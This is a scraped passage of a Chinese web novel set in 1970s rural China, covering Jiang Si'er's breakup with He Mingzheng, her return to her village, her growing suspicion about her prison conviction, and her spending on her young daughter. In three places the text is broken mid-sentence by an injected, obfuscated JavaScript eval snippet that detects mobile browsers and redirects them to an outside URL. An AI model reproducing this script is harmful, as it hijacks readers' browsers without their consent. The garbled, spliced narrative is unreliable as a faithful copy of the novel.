“走,咱们去下馆子,安抚你受伤的心。” 贺明峥有气无力,心情郁闷,“没胃口。” “我不管,我饿了。” 俩人再次朝国营饭店出发。 到了饭店,用粮票和钱换饭店里的票,姜四儿看着小黑板上的菜名,明明认识,却还是推脱不认识,让贺明峥来点菜。 她经常这样,不管大小事,只要贺明峥在,她就乖乖地退到身后不乐意动手,让贺明峥去做。 贺明峥也喜欢她这种小撒娇,乐得去安排一切。 饭店里几张桌子坐满了,俩人就站在刷得白白的墙边聊天,等着桌子空下来。 “我上次给你写的信你收到了没?” 是那封找他要钱的信,贺明峥收到后就给程月梨转去了钱,两百块。 姜四儿担心的就是这一点,“我现在进城来了,你转给月梨的钱怎么办。” “你不在乡下,她拿到钱给不了你肯定也不会动那笔钱,等过年了她回城里我找她要。” 姜四儿放心了,“我想给芯芯买东西,没有多余的钱了,才找你要的。但是两百块也太多了,你每次少给我点,我手里钱太多也不放心,怕弄丢钱,你也知道我记性不好老是丢三落四。” “你那不是记性不好,你是干事大大咧咧不细心。” 姜四儿瞪他,转头看到他洗得发白的衣服,鼻头又有些酸。 “这件衣服四年前在生产队的时候我就见你穿过。” 她心疼他, 贺明峥垂眸看她,嘴角露出一抹玩味的笑,“拉倒吧,你什么时候见我委屈过自己。” 他不是那种花钱大手大脚的人,但也不是多节省的人。买衣服会买更贵的,买了以后除非报废,否则会一直穿下去。 该节省的时候节省,该花钱的时候花,他不会亏待自己。 所以姜四儿心疼他,他觉得温暖感动的同时也毫不客气地说了实话。 姜四儿刚才的心疼瞬间散了,取而代之的又是一个白眼飞了过去。 28. 姜四儿回乡下 姜四儿在食品厂待了五天后,厂长开始问贺明峥的打算。 他们可以不向派出所报备,短暂收留姜四儿住下。但是时间久了就担心会被查户籍的公安查到,到时候姜四儿被抓走会比较麻烦。 “我知道。”贺明峥心里也急。 姜四儿农村户口,零食厂就算招临时工季节工也不会招农村户口,她没理由长期待在这儿。她也没介绍信,久住被查到要送公安教育后遣送回去。 他想通过结婚让姜四儿进城和自己同住,这是唯一的路子。虽然结婚后户口变不了,进城也没正式工作,但他节省点,把粮本上定量的口粮匀给四儿,俩人也能过日子。一些娶乡下媳妇儿的城里人都这么干,很常见。 可现在问题就出在姜四儿坐过牢,他工作的单位审查比较严,他也不可能和领导有所隐瞒。 虽说从法律层面来讲,婚姻自由,任何人不得干涉。但这几天他领导知道他想结婚的对象坐过牢以后,一直以社会影响不好和潜在风险为理由,绕弯子给他提意见,劝他放弃这桩不靠谱的婚事。 他这几天除了工作就是被各个领导找谈话,直至今日,领导也不松口,不肯给他结婚证明。 厂长夫妇不清楚里面的弯弯绕绕,选择相信贺明峥。 8号周五, 一直冷战的厂长老婆主动和厂长说话。 “出大事了,小峥那对象是个坐过牢的。” “什么!你怎么知道?” “今天不立冬吗,城区那边门市部出售甘蔗,我去那里买甘蔗遇到才哥了,他和我说的,让我也劝劝小峥。” “呵。”厂长不屑地撇了撇嘴。 这个才哥,是贺明峥工作单位的职工食堂厨子,也是厂长老婆年轻时结婚前的暧昧对象之一。 “你别瞎吃醋,现在也不是吃醋的时候,小峥的事才是大事。” “他一个做饭的能知道什么。” “他既然能听说,那事情就肯定不是空穴来风。怎么说,要不要去拜访小峥的领导,问一问情况?” “用不着那么麻烦,直接去问那女同志。” 厂长夫妇俩直接去找姜四儿。 这俩夫妇精明又有压迫感,姜四儿在他们面前撒不了谎。 看到姜四儿脸皮薄地低下头一言不发,厂长夫妇还有啥不明白的。 长辈们看待晚辈是很现实的,他们心里掂量了一下,这个姜四儿除了惊人的相貌,一无是处,还坐过牢,完完全全配不上他们从小看着长大的贺明峥。 “小峥家里不算大富大贵,他妈生前在咱们这食品厂工作,他爸之前在另一个厂管管档案,也就是普普通通双职工家庭长大的孩子。但他自己争气,主动下乡锻炼,被你们公社大队推荐为工农兵大学生,又被他大学老师看中推荐,通过了考核进入光机所,”厂长说话时温声细语,“他这样上进的孩子,不说找个工人对象,也该是清清白白的劳动妇女。” 厂长媳妇儿把话接上,“这几天你和小峥的相处我们都看在眼里,你不像个劳动妇女,倒像是资产阶级大小姐,啥都等着小峥去做。” “小峥因为想和你结婚,已经被他领导多次谈话了。”厂长又道。 姜四儿垂在身侧的手下意识抬起捂住自己耳朵,忽觉这样不礼貌,又把手放下,痛苦地皱起了眉头。 活像个被欺负狠了的小可怜。 俩长辈互相对视一眼,这小姑娘承受能力也就到这了。他们住了嘴,不再继续说。 相信这小姑娘应该知道该怎么做。 姜四儿也确实是个知道分寸的,她一直没把芯芯的事说给贺明峥听,就是怕贺明峥知道了会不管不顾把孩子接进城,担心未婚先孕风气不好会影响贺明峥。 现在两个长辈这么说,她也不是没皮没脸的人,把剩余的食堂菜票饭票拿去退掉换回了粮票和钱。 当天贺明峥下班后来看她,她就把粮票还给了他。 “你要回去?” “嗯。” “回去随便嫁人?还是回去看你大姐夫?”贺明峥恼羞成怒。 “你别血口喷人!你为什么老和我大姐夫过不去,他是个好人。我都和你说了我不喜欢他,早就不喜欢他了。” “那你发什么疯,在这里待得好好的又要回去,回去后你就不怕你爸妈逼你结婚了?” “我和我爸妈好好说,他们不会逼我的。” “那你这次来找我又是什么意思?一天到晚想一出是一出,说来就来说走就走,拿我当什么?” “你能不能好好说话!” “你要是好好做事我能不好好说话吗?我都已经和领导说了要结婚,等把结婚证明带上,就和你回去公社登记结婚。这个时候你又突然说要自己回去,什么意思? 几年前也是,说好了等我接你进城,我都把事办好了,你倒好,吃醋打伤人坐牢去了。你当自己是皇帝啊,朝令夕改,一会儿这样一会儿那样!” “我没等你吗?我等你把我接进城,我等了你一年!” “我又不是神仙,想干什么事一挥手就能干成,不需要时间的吗?” “那就是你自己没用。” “对对对,我没用,你大姐夫有用,在公社只手遮天,多威风啊。” “你是不是有病,动不动扯上我大姐夫。” “我就说他,怎么了,你心疼啊。心疼也没用,人家看不上你,就爱你大姐爱得死去活来,你要嫉妒死了吧。” “你脑子有病。” “对,我有病,瞎了眼喜欢你。” “你现在不用瞎眼了,我要和你分手!” 整个世界忽然陷入一片寂静。 在外面偷听八卦的食品厂员工们心里直痒痒,怎么不继续吵了? 安静了几分钟后,传出脚步声,紧接着房门打开,贺明峥一脸阴沉地摔了门离开。 第二天清晨,房间里另一个人出来了。姜四儿拎着简单的行李,轻轻地合上房门。 决定回老家的姜四儿在离开s市前坐车去了贺明峥单位附近。 靠在树上,手掌无意识地摩擦着粗糙的树皮,姜四儿委屈地踢了踢脚下的石子儿。 她后悔昨天和贺明峥吵架,后悔骂贺明峥没用。 默默哭了好一会儿,姜四儿最后一抹眼泪,依依不舍地离开了这。 坐上公共汽车准备去车站,她上了公共汽车没位置,走到车后面扶着栏杆站着。 车子中途经过繁华的市中心,下去很多乘客又上来了很多乘客。 “挤死了,连个座位也没有。”一个刚上车的女人嗓门有点大。 “等到了城区更挤,昨天买甘蔗的人快把车子挤爆了。诶,也不知道咱们今天还买不买得到甘蔗。”女人同事叹气。 俩人围着甘蔗的事说了好一会儿。 姜四儿本来只是放空大脑随意听了几句,她觉得那女人的声音有些耳熟。再扭头看过去,隔着人群,依稀能看到那女人做过手术后还没完全恢复好的肿胀淤青的脸。 几站后姜四儿下车,一直到坐上回老家省市的长途汽车,姜四儿脑海中还时不时回荡着那女人的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586565|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 等姜四儿的双脚踏上老家公社的那片土地,姜四儿猛地瞪大了双眼,终于想起来了,是林姗。 s市公交车上听到的大嗓门女人的声音,是林姗。 林姗怎么会在s市? “四儿?” 一声叫喊打断了姜四儿的思绪,姜四儿抬头一看,是大姐夫刘途。 离家出走数日的姜四儿惴惴不安地跟着大姐夫去了刘家。 想象中的责怪没有,刘家人包括匆匆从供销社赶来的姜大妞都没有怪她。 “这事是你爸妈不对,我已经说过他们了,”刘途眼里是深深的疲惫,“你不喜欢他们介绍的结婚对象那就不结,没有人能逼你,法律都不允许逼人结婚,你爸妈也不能。” 姜四儿一路上的担忧不安都被姐夫这番话化解了,她开心点头,“你们不骂我就好。” “有我在,谁敢骂你,”姜大妞眼眶红红,“对不起,这次是大姐不好,明知道你不乐意还想着等你结婚了就好了。以后再也不逼你了,都听你的,你不想结就不结。” “那我回去后爸妈真的不会骂我?”姜四儿还是害怕。 “你先在这待着,等你姐下班了和你一起回去,有你大姐在,你爸妈不敢说什么。”刘途保证。 有了大姐和大姐夫的保证,姜四儿的心踏实了不少。 大姐大姐夫都上班去,姜四儿抱着一岁多的小外甥在街上闲逛,经过二姐所在的食品站,一大一小走了进去。 “你这段时间躲哪儿去了?你怎么这么不懂事,不想结婚就不结,谁能逼你。你一声不吭地跑出去,遇到坏人了怎么办?”姜二丫亲了亲小外甥胖乎乎的脸蛋儿,又叹了口气,关心四妹这段时间有没有受罪。 姜四儿沉默着不吭声, 无聊之际突然想到了什么,小声道,“我这次出去碰到林姗了。” “咚!” 姜二丫手里逗着小外甥的玩具落地,发出清脆的响声,吓得小娃儿哇哇大哭。 手忙脚乱边捡玩具边哄小外甥的姜二丫脸色极其不自然,眼珠子乱转到处看,就是不敢看四妹。 很奇怪的反应,看上去是心虚。 “她和你说了什么?” “在公共汽车上遇到的,没说上话就分开了。” 姜二丫松了口气,脸色舒缓了不少。 姜四儿脑海中突然冒出来那封八月份在劳改农场收到的陌生人来信,信里说她是被冤枉的,真正弄伤林姗的是大姐,其他姜家人都知道。 那段时间姜四儿最关注的是自己即将出狱的事,后来回到家她想的都是怎么进城和爱人在一起,那封信说的真相她觉得不可信的同时也不是那么在意,她出狱后只想好好休息。 如今,她脑袋里关于那封信的记忆又清晰浮现,占满了她的脑子。 “二姐,当初我怎么打伤的林姗?”姜四儿抬眼,眼中第一次有了怀疑,“你再和我说说吧,毕竟我当时喝醉了不记得事情的具体经过。” “事情经过不就是那样吗?大姐夫要娶大姐,你可能是吃醋了,喝醉酒发酒疯,和同样吃醋赶来闹事的林姗打了起来。怎么了,怎么突然问这个?” “没什么,我只是想起来我从小干活总偷懒,力气小,一袋八十斤的粮食两个人抬我都抬不起。林姗比我结实有力,我应该打不过她。” “喝醉酒了力气就大了,要不然怎么叫发酒疯呢。” 姜四儿沉默半晌,“二姐,你有做过对不起我的事情吗?” “没有,我从来没有对不起你的地方。” 29. 砍柴 晚上姜大妞和姜二丫姜四儿三姐妹一起骑着单车回了生产队。 院子里正蹲在地上画画的姜小芯朝她们看了一眼,然后飞快起身跑到二丫那儿,姜二丫单手抱起小妹,另一只手停单车放好。 被二姐姐抱着的姜小芯冲着大姐姐甜甜的笑,看到四姐姐时,小家伙眼神中有陌生和尴尬,看了一秒就马上移开了视线。 “怎么,几天不见就不认识你四姐了?”姜大妞假装生气,“快叫人,不能没礼貌。” “四姐姐。”姜小芯蚊子似的小声打招呼。 姜四儿腼腆地笑了笑,伸手戳戳孩子软乎乎的脸蛋儿。 仔细想想,自己真的很厉害,竟然能生出一个小孩。 姜小芯脑袋往后偏,离四姐姐的手远了些。 这几天爸妈在家一直说四姐姐的坏话,二姐姐三姐姐偶尔也会插上一嘴说四姐姐躲着不想和相亲对象结婚,不懂事。 听得懂大人说话的姜小芯隐约对四姐姐有些排斥,都是因为四姐姐跑了,所以家里这几天经常吵架。 四姐姐是一个突然出现又突然离开的怪姐姐,姜小芯本来就和她不是很熟,这几天经常听家里人说她坏话后,姜小芯和四姐姐就更加陌生了。 厨房里姜老三正在做饭,看到四妹回来了只惊讶了一瞬,啥也没问。 “小芯,去喊爸妈吃饭,饭做好了。”姜老三大声道。 姜小芯立马从二姐姐怀里下来,小跑着去了菜园子里。 在菜园子锄地的姜木匠和春花一前一后进了前院。 看到四女儿回来,姜木匠暼了一眼不再看,一句话也不和她说,而是招呼着大女儿进屋。 春花暼了四女儿一眼,重重叹气一声,同样没话和四女儿说。 这种视而不见的冷暴力让姜四儿的头垂得更低。 小地方消息传得很快,不出一个钟头,程月梨就得知了姜四儿已经回来。 她吃完饭去找姜四儿,姜四儿不在姜家老屋,回了自己的小砖房。 “四儿姐姐?”程月梨用手指敲敲小砖房的玻璃窗。 玻璃窗打开,在月色下看清来人,姜四儿赶紧又把门打开,拉着程月梨进屋,“这么晚你怎么来了?” 程月梨挑挑眉,从厚厚的棉衣里面掏出一沓钱。 “上个月表哥给汇了两百块过来,我拿着汇款单去公社取了钱。当时你离家出走了我暂时替你保存这笔钱,现在你回来了,当然是要物归原主。来,你数一数。” “不用数。”姜四儿拿着这笔钱锁进柜子里。 等程月梨离开,她坐立不安,在房间里走来走去。 过了十几分钟,百分百确定程月梨走远,姜四儿拿出火柴盒,把蜡烛点燃,昏暗的房间里,她鬼鬼祟祟地把柜子里的钱拿出来重新数了数。 刚才程月梨让她数,她怎么好意思当着人家的面那样做。现在人走远了,她才敢数。 确实是两百块,没错。 她要去给芯芯买漂亮的棉衣棉裤棉鞋,再给自己也买块手表。 她很羡慕程月梨,程月梨手上戴着的一块手表,深蓝色表带,圆形表壳的一周都是细小亮眼的钻石点缀,表圈里面是淡淡金色。 那手表漂亮贵气,程月梨也只有在每天下工洗澡后才美美戴上,平时都舍不得带出来。 姜四儿在脑海里把这两百块的用途想了很久,一晚上没怎么睡好。 第二天生产队长喊人出工,把姜四儿也给叫走了。 他们一行人分为几个队伍去砍树,在生产队管理的一片山岭里行动。 大队里借了他们几把砍柴的斧头和刀具。 “这几样农具是大队借给咱们的,很贵重!”生产队长强调。 贵不贵的另说,重倒是真的重。 程月梨用两只手才能拎起一把笨重的斧头,手一挥,整把斧头甩了出去,连带着她本人也在原地转了圈倒在地上。 斧头挥出去的方向,姜四儿和两个知青以及另两个社员尖叫着跑开。 这片低矮灌木丛中响起大家惊慌失措的声音,姜四儿心脏扑通扑通跳,差一点他们几个就要死在程月梨手里了。 生产队长恨铁不成钢,怒斥程月梨让她别拿斧头和大砍刀了,跟在大家身后捡柴捡到车上。 一伙人从早上七点干到下午一点,大队里派人送来了干粮。 姜四儿和程月梨坐在一起吃煮熟的黄豆,吃了一会儿肚子就胀了起来。 “四儿姐姐,你这段时间离家出走都跑哪里躲着了?” “我去s市了。” 嗯?s市? 累得有气无力的程月梨浑身散发着精神气,八卦道:“你去找我哥了?你们和好了?” “嗯,我去找他了,和好了,但是和好没有几天我俩又吵架了。” 姜四儿拜托对方,“你帮我给他发封电报,就说我已经平安到家。” “可以,小事小事,”程月梨道,“这次去s市有没有和我表哥……咳,你知道的,就是那个……” 程月梨害羞又好奇那方面的事,小女儿家家的,说话很大胆。 “没有,你别乱想。”姜四儿也红了脸。住在厂里,那么多双眼睛看着,怎么好意思乱来。 虽然他俩好几次已经黏糊得差点亲上去,但还是忍住了。 程月梨继续问一些羞羞的事,姜四儿红得脸快爆炸。 公社里,一上午已经将一头猪卖光,姜二丫擦了擦手上的血水,洗了把手,解开围裙离开了食品站。 她去找了大姐夫。 “昨天四儿和我说她遇到林姗了,姐夫,我担心她已经察觉到了什么,她昨天有点不对劲。” 虽然就算她察觉到了什么,也拿不到证据,但他们还是希望生活平静一点,不要再起什么波澜。 从不抽烟的刘途坐在椅子上抽完了几根烟,最终平静道:“我知道了,我会做最坏的打算。” “最坏的打算?是什么?”姜二丫好奇。 “我会和你爸说,其他的你不用担心,也不用知道。” “好,我相信姐夫。”姜二丫离开了革委会办公的院子。 大姐夫说的最坏的打算,估计就是让大姐去坐牢了。那自己呢,也会坐牢吗?应该不会吧,自己没有打伤人也没有让人给自己顶罪,最坏的结果应该也和自己无关。 她对四妹有愧疚,但不多。 她最多也只是隐瞒真相而已,又没有参与进去。再说了,她这几年帮四妹带大了孩子,没有功劳也有苦劳。 把事情理了一遍,二丫确定自己没有对不起四妹的地方,心里轻松不少。 下班后她骑着单车回家,在三大队看到了疲惫不堪的一行人,正是他们自己生产队出去砍柴的人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586566|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一车又一车的木柴很壮观,不管是用肩膀拉着板车的人,还是帮忙一起推着板车的人,大家在寒冷的天气里都是累得满头大汗。 “队长,”姜二丫摁了单车铃铛,“让我四妹坐我单车回去吧,她脸白得吓人。” 姜四儿嘴唇干裂,腰疼得要碎掉,整个人摇摇欲坠地推着板车,看上去已经和行尸走肉没区别了。 生产队长准了,让姜四儿坐她二姐的车回去。 姜四儿只是扫了二姐一眼,又把头垂下。她眼里的倔强和挣扎疏离很明显,姜二丫不懂她闹什么脾气。 “好心当作驴肝肺。”姜二丫气冲冲地踩着单车离开。 “你和家里人吵架了?”程月梨小声问。 “我不知道。” “什么叫你不知道?” “我真的不知道,我就是烦,也不知道在烦什么。” 然后俩人都沉默。 许久之后姜四儿又主动开口,“我只是在想,自己被这坐过牢的身份囚禁住了,这辈子也就这样了。” 因为身上有这种污点,她可能这辈子都不会和贺明峥结婚。 “我的天塌了,我可能要和你表哥谈恋爱谈一辈子了。” 程月梨:“…………” 神经病,她觉得姜四儿想得太多了,表哥有那么痴情吗?说不定什么时候就甩了姜四儿。 她特别佩服姜四儿在这种事情上的自信。 “要是有拖拉机帮我们拖这些柴就好了,我们不用这么累。”姜四儿又发牢骚。 “那些司机傲气得很,一个个态度很不好,找他们帮忙是白扯。” “我以后要是做了司机,一定要对大家态度好,做个好司机,”姜四儿做着美梦又有些不好意思,“不过我这种坐过牢的连驾驶证都考不了。” “当司机有什么好的。” “当司机很自由啊,行驶在路上,吹着的风看过的景色,都是自由的。” “这算哪门子的自由,真正的自由应该是想做什么就做什么,比如我想纹身但是爸妈不准,这才叫不自由。” 姜四儿:“…………” 好吧,她口中的自由和程月梨说的不是一回事。 “虽然考不了驾驶证,不过你要是想学开车我有办法。”程月梨鼓励她。 “真的吗?什么办法?” 程月梨嘿嘿一笑,指着打头阵拉木柴的大块头男知青,“大刘啊,他老爸是县里农机厂的领导。” “他爸会开拖拉机?” “开玩笑,他爸会的可多了,大货车也开过,还有证呢。” “可是这和我学车有什么关系?” “你去当他爸的徒弟。” 姜四儿下意识摇头,“怎么可能,没听过他们收女徒弟的。” 还是一个坐过牢的女徒弟。 “我说行,那就行。”程月梨拍着胸脯保证。 那大块头想追自己,这件事正好可以检验下他对自己能做到什么地步。 ‘如果连这种事也帮不了,那也别吹嘘喜欢自己了。’程月梨如此想道。 更何况,程月梨对姜四儿是有一点愧疚在的。 表哥让她送给姜四儿的名牌腕表和迪奥包包,程月梨都自己昧下了,她舍不得那些漂亮的东西,只给了姜四儿吃的和玩具。 她总得做些什么来减轻心中的愧疚。 30. 花光了钱 11月20号,暴雨,大队里休息,只有少数人有幸被安排了上工挣工分。 没工的人躲在家里听大队喇叭里放的广播,或是聚在一起聊天。 姜四儿趁着这休息的时间,拿了家里的油布伞,撑伞跑去了大队长家。 到了人家家里,姜四儿晃悠半天,这里走走那里坐坐,逗逗大队长家的孩子,时不时笑笑,像个傻子。 “四儿,你到底是来干什么的,直接说成不?”大队长真的服了她这性子,又磨蹭又怂。 姜四儿听人家发话了,赶紧从棉衣里掏出一包糖,是当初程月梨给的。 之前这几包糖被春花放在了厨房柜子里,姜四儿今天特地拿了一包出来。 整整一市斤的糖摆在桌上,大队长两口子眼睛放光地凑了过来。 “哪里偷的?啊呸,哪里弄来的?”大队长激动得唾沫横飞。 姜四儿后退几步,“反正不是偷的,大队长,我想用这包糖换你手里的工业券。” 大队长手里攒了些工业券,都是城里亲戚送的。 工业券那玩意儿对于大队长来说是食之无味弃之可惜,拿在手里啥用没有,相当于一堆废纸。 现在姜四儿想要,还拿一市斤红糖来换,大队长都觉得太占人家便宜了。 “这糖真的不是你偷的?”大队长还是有些不放心。 “不是我偷的。”姜四儿眼眶一红,神情倔强。 就因为她坐过牢,大队长就这么审问她,拿她当贼似的,太侮辱人了。 大队长婆娘给自家男人使眼色,不管是不是偷的,反正这红糖她要定了。 家里已经两年没吃过糖了,别说偷的,就算是抢的也无妨。 “四儿,别生气,你叔不会说话,嘴贱。我这就去给你拿东西,等着啊。” 家里抽屉里柜子里书本里到处搜,把乱扔的券给搜罗起来,最终找到了几十张工业用品票。 下午四点, 姜木匠修葺木屋,眼看着要打雷了,扛着一堆工具淋着大雨往家里赶。 很多人围在自家门口,担心是家里又出了什么事,姜木匠踩着泥水大步开跑。 心里七上八下地推开拥挤的人群挤进去,一眼看到了仙童似的人物。 和棉花一样白的小脸蛋儿,穿着红色呢绒上衣,下面是米白色的毛呢裤,脚上踩着红色胶底的棉鞋。 整个一神仙娃娃,和周围穿得灰扑扑的乡亲们形成鲜明对比。 “这……” 这不是自己那三岁的小女儿吗? 姜木匠心里掀起惊涛骇浪,都快不认识自家人了。 难怪家里围了这么多乡亲,今天没活干,一个个闲得没事做。 “这一身,比城里的知青还漂亮。”村民们扯扯姜小芯身上的衣服,把孩子转来转去的欣赏。 穿着新衣服的姜小芯开心得两眼弯弯,也乐意被别人摆弄。 姜木匠与有荣焉地把手里东西放好,边擦身上的雨水边和乡亲们聊天,“我家大妞太实在,对娘家人没得说。就是太大手大脚了,你看看,今天给小芯买这么多好东西,一年的工资都得没了吧,有钱也不是这么花的。” 姜木匠边说边抹泪,“那傻孩子,平常自己一件衣服补了又补,对自己小气,对娘家人倒是大方得要命。我可怜的大妞,也不知道对自己好点。” 这哭的,可谓是父女情深。 聊天的乡亲面露尴尬,不解道:“不是说这都是姜四儿买的吗?” “什么?四儿?”姜木匠放下抹泪的手。 他带着满心的疑惑,在厨房里找到了正做饭的婆娘春花。 “怎么回事?你小女儿身上那些东西谁给买的?” “四儿。”春花抿抿嘴,叹气。 也不知道那丫头哪里来的钱。 乡下人为了应付秋冬季,都是自己用平日攒下来的布头和每年生产队发的自己种的棉花,来做鞋。一双鞋穿到破了洞就缝,哥哥姐姐的鞋穿不下了传给弟弟妹妹。 没有人会去公社买现成的棉鞋。 姜小芯今年长高了,脚丫子比去年大了一点,春花本来打算把旧鞋拆了重新买鞋底缝新鞋。 没想到四儿搞了这么大个‘惊喜’,竟然去公社买了两双现成的棉鞋。 “当家的,你看到了没,小芯那红棉鞋还是橡胶底,少说也得两块钱才能买到一双,四儿给孩子一买就是两双。”春花心情复杂。 四儿对孩子倒是好,就是对父母不孝顺,也没说给父母买一双鞋。 外头院子棚子底下,一个大娘使劲摁了摁姜小芯的棉鞋,“这鞋实在,蹦得紧,可见里面棉花用料足啊。四儿,你给你小妹买的这鞋多少钱啊。” “一双鞋子三块。”姜四儿回。 厨房里,远远听到价格的姜木匠夫妇对视一眼。 那鞋子底部是工业用橡胶,还得工业用品票才能买,四儿哪里来的工业券? 夫妇俩百思不得其解。 外头,大爷大娘们还在对着小孩子的新衣摸来摸去。 “这裤子摸上去真暖和,很光滑啊,不是棉的吧。”“上面的用料倒是粗糙,也不像棉的。”“这些衣服得多少钱呐。”………… 乡亲们你一言我一语,好奇问着。 “听柜台的人说,裤子是毛料的,上衣是毛呢混合的料子,我也不懂。”姜四儿解释。 她没说具体价格,这东西很贵,也不要布票,就是花了不少工业券。 她今天从大队长那里拿的几十张工业券,除了买手表花去十张,其他的工业券都拿来给孩子买这些衣服裤子了。 乡亲们不太懂,但是知青们明白小芯身上这些衣服裤子很贵。 回去知青宿舍,有人就开始大声议论起来了。 “那姜四儿不是个傻的吧,供销社百年难得卖出去一件的东西,今天被她给买了。” 旁人哈哈大笑,“就是,谁会买那些个中看不中用的东西,那些钱都够买好几套棉衣棉裤了,浪费钱。” 在知青宿舍休息玩遥控飞机的程月梨听到她们的议论声,问清楚事情经过,眉头皱得死死的。 买那些毛呢衣服确实不划算,同样的价格可以买更实用的木炭木柴和布料。 扯几米布,再用生产队自己种的棉花,做出来的衣服保暖还便宜。 人家供销社的那些毛呢衣服和成品棉衣棉裤都是滞销货,落了灰也没人买。 姜四儿这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586567|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有了钱就放肆,买些没人要的东西,也就看着有脸有面子罢了。 这会子,估计大家背地里都在笑话她。 “唉。”程月梨摇摇头,估计表哥给寄来的二百块钱,都被姜四儿给花光了。 这样虚荣的乡下妇女,也不知道表哥以前怎么看上的。 和程月梨猜测的一样,姜四儿的钱已经用光了。 除了给她自己买的一百二十块的手表,剩下的钱都花在了姜小芯身上。 “四姐姐,妈妈让我喊你吃饭。” 姜小芯趴在门框上,腼腆地笑。 因着四姐姐给她买新衣服,姜小芯高兴之余还有些害羞。 喊完四姐姐,她又去喊三姐姐。 姜老三看着憨态可掬的小妹,喜欢得不行,抱起来亲了又亲。 小娃儿被亲得更加害羞了,“三姐姐,我的衣服好不好看?” “好看,要不说人靠衣装呢,穿着新衣服可比画本上的仙女还要美。” “嘻嘻~”姜小芯害羞地紧紧搂着三姐姐的脖子。 一顿晚饭吃的是白菜和米饭。 这个季节,生产队除了白菜就是萝卜,想吃其他的菜得去公社买。 姜小芯吃腻了白菜,不爱吃饭。 春花为了哄她吃饭,就把米饭拿去摊锅巴。 脆脆的锅巴出锅,姜小芯两手捧着,吃得肚子饱饱的。 姜四儿将一切看在眼里。 家里对小芯是很好的,没话说。 小芯又是自己和贺明峥的亲女儿。 对小芯这么好的家里人,会是诬陷自己坐牢的坏人吗? 姜四儿很苦恼,吃着白菜也觉得索然无味。 “菜做得不好吃,亲家母家里那白菜汤多鲜呐。”姜木匠突然开口。 春花没好气地白了一眼,“我这白菜直接水煮,亲家母做白菜先用猪油炒了再煮,那能一样吗?” “舍不得放猪油你放点酱油也成啊。” “酱油也没有,吃不死就继续吃,哪有那么多闲钱买酱油。” 春花边说边看了四女儿好几眼。 四儿都有钱买手表,还能给小芯买那么多新衣服,要是能再帮家里买点酱油、煤油啥的,就好了。 注意到亲妈的视线,姜四儿尴尬地摸了摸自己耳垂上的耳钉。 她现在手上也没钱了。 春花见四女儿没表示,有些失望。 她倒不是要女儿的钱,她要的是一个态度和表示。这些年老两口辛辛苦苦养大几个孩子,大妞和二丫都在回馈家里,老三也和家里亲,就这个四女儿,也没怎么回馈过家里,从小性子奇怪和家里也不怎么亲近。 春花很怕这个四女儿白养了,心里隐约有些担心这四儿以后不会给自己养老。 所以,她要试试看四女儿的态度。 结果让春花失望了,这不孝女啥表示也没有。 和亲妈一条心的姜老三开口,“四妹,你哪来这么多的钱,给小芯买了这么多东西,还给你自己买了手表。” “捡的,我月初离家出走在外面车站捡了两百块钱。”姜四儿撒谎道。 这个理由很正常,姜家人没怀疑,反而羡慕四儿运气好。 31. 第 31 章 21号,知青点宿舍,大刘抱着一罐腌制的萝卜皮回来了。 这两天生产队下雨又休息,没被安排上工的大刘抽空回了一趟家。 所有知青里,只有大刘家里是离生产队最近的,他就是本县城人士,当初也是主动要求下乡来锻炼。 他这次休息时趁机回家,就是为了姜四儿的事。 事情办好了,他迫不及待跑去隔壁,把程月梨叫了出来。 对方看到他手里的咸菜罐子,两眼放光。 大刘嘿嘿笑着把咸菜罐子递给她,“我妈在家做的,送你。另外,你之前交给我的任务,我也圆满完成了。” 之前说好了要让姜四儿拜师学开车,大刘已经安排好。 “不错不错,干得好。”程月梨有些小欢喜。 一个男人能办好自己交代的事,那就是听话又能干实事的好男人,孺子可教也。 “为了说服我爸,我可是费了一番力气,你可得请我吃饭,”大刘邀功道,“不过你确定姜四儿真的想学开车吗?当学徒很累,姑娘家家的,干那些脏活累活能坚持下来吗?” “管她呢,”程月梨笑了一声,“我尽力帮她,做好我自己该做的事。” 俩人站在院子门口聊了很久。 中午十一点左右,大刘回到男知青宿舍,大家一起开火做饭。 一起开火能节省木柴,大家分工明确,洗菜的择菜的炒菜的,各自忙活。 有人边烧火边问道: “方感勇,今天你就能搬出知青点吧?听说你那新房已经建好了。” 穿着蓝色棉袄的方感勇没什么兴致地嗯了一声。 现在什么也激不起他的兴趣。 自从程月梨在外乱说,说他对小姨子姜四儿图谋不轨,他就心里不得劲。 虽说生产队的人都觉得是姜四儿不正经勾引他,虽说他的名声并没有受到什么影响。 但他是个心思重的人,容易多想。如果他听到一些窃窃私语,就会怀疑大家是不是在说他坏话。 再加上之前老丈人一家把自己赶回知青点宿舍暂住,他更加对目前的婚姻感到厌烦。 